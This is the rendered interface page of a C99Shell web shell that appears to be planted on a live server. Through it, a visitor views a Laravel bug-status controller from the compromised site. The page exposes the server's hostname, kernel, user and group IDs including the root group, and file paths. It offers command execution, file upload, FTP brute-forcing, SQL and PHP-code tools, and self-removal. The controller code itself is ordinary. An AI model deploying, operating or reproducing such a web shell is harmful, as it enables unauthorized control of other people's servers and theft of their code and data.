!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BugStatusController.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\BugStatus;
use 
Illuminate\Http\Request;

class 
BugStatusController extends Controller
{

    public function 
index()
    {
        
$bugStatus BugStatus::where('created_by''='\Auth::user()->creatorId())->orderBy('order')->get();
        return 
view('bugstatus.index'compact('bugStatus'));
    }


    public function 
create()
    {
        return 
view('bugstatus.create');
    }


    public function 
store(Request $request)
    {
        
$validator \Validator::make(
            
$request->all(), [
                               
'title' => 'required|max:20',
                           ]
        );
        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->route('bugstatus.index')->with('error'$messages->first());
        }
        
$all_status         BugStatus::where('created_by'\Auth::user()->creatorId())->orderBy('id''DESC')->first();
        
$status             = new BugStatus();
        
$status->title      $request->title;
        
$status->created_by \Auth::user()->creatorId();
        
$status->order      = (!empty($all_status) ? ($all_status->order 1) : 0);
        
$status->save();

        return 
redirect()->route('bugstatus.index')->with('success'__('Bug status successfully created.'));
    }


    public function 
edit($id)
    {
        
$bugStatus BugStatus::findOrfail($id);
        if(
$bugStatus->created_by == \Auth::user()->creatorId())
        {
            return 
view('bugstatus.edit'compact('bugStatus'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }


    public function 
update(Request $request$id)
    {

        
$bugstatus BugStatus::findOrfail($id);
        if(
$bugstatus->created_by == \Auth::user()->creatorId())
        {
            
$validator \Validator::make(
                
$request->all(), [
                                   
'title' => 'required|max:20',
                               ]
            );
            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->route('bugstatus.index')->with('error'$messages->first());
            }

            
$bugstatus->title $request->title;
            
$bugstatus->save();

            return 
redirect()->route('bugstatus.index')->with('success'__('Bug status successfully updated.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }


    public function 
destroy($id)
    {

        
$bugstatus BugStatus::findOrfail($id);
        if(
$bugstatus->created_by == \Auth::user()->creatorId())
        {

            
$bugstatus->delete();

            return 
redirect()->route('bugstatus.index')->with('success'__('Bug status successfully deleted.'));

        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }

    }

    public function 
order(Request $request)
    {
        
$post $request->all();
        foreach(
$post['order'] as $key => $item)
        {
            
$status        BugStatus::where('id''='$item)->first();
            
$status->order $key;
            
$status->save();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--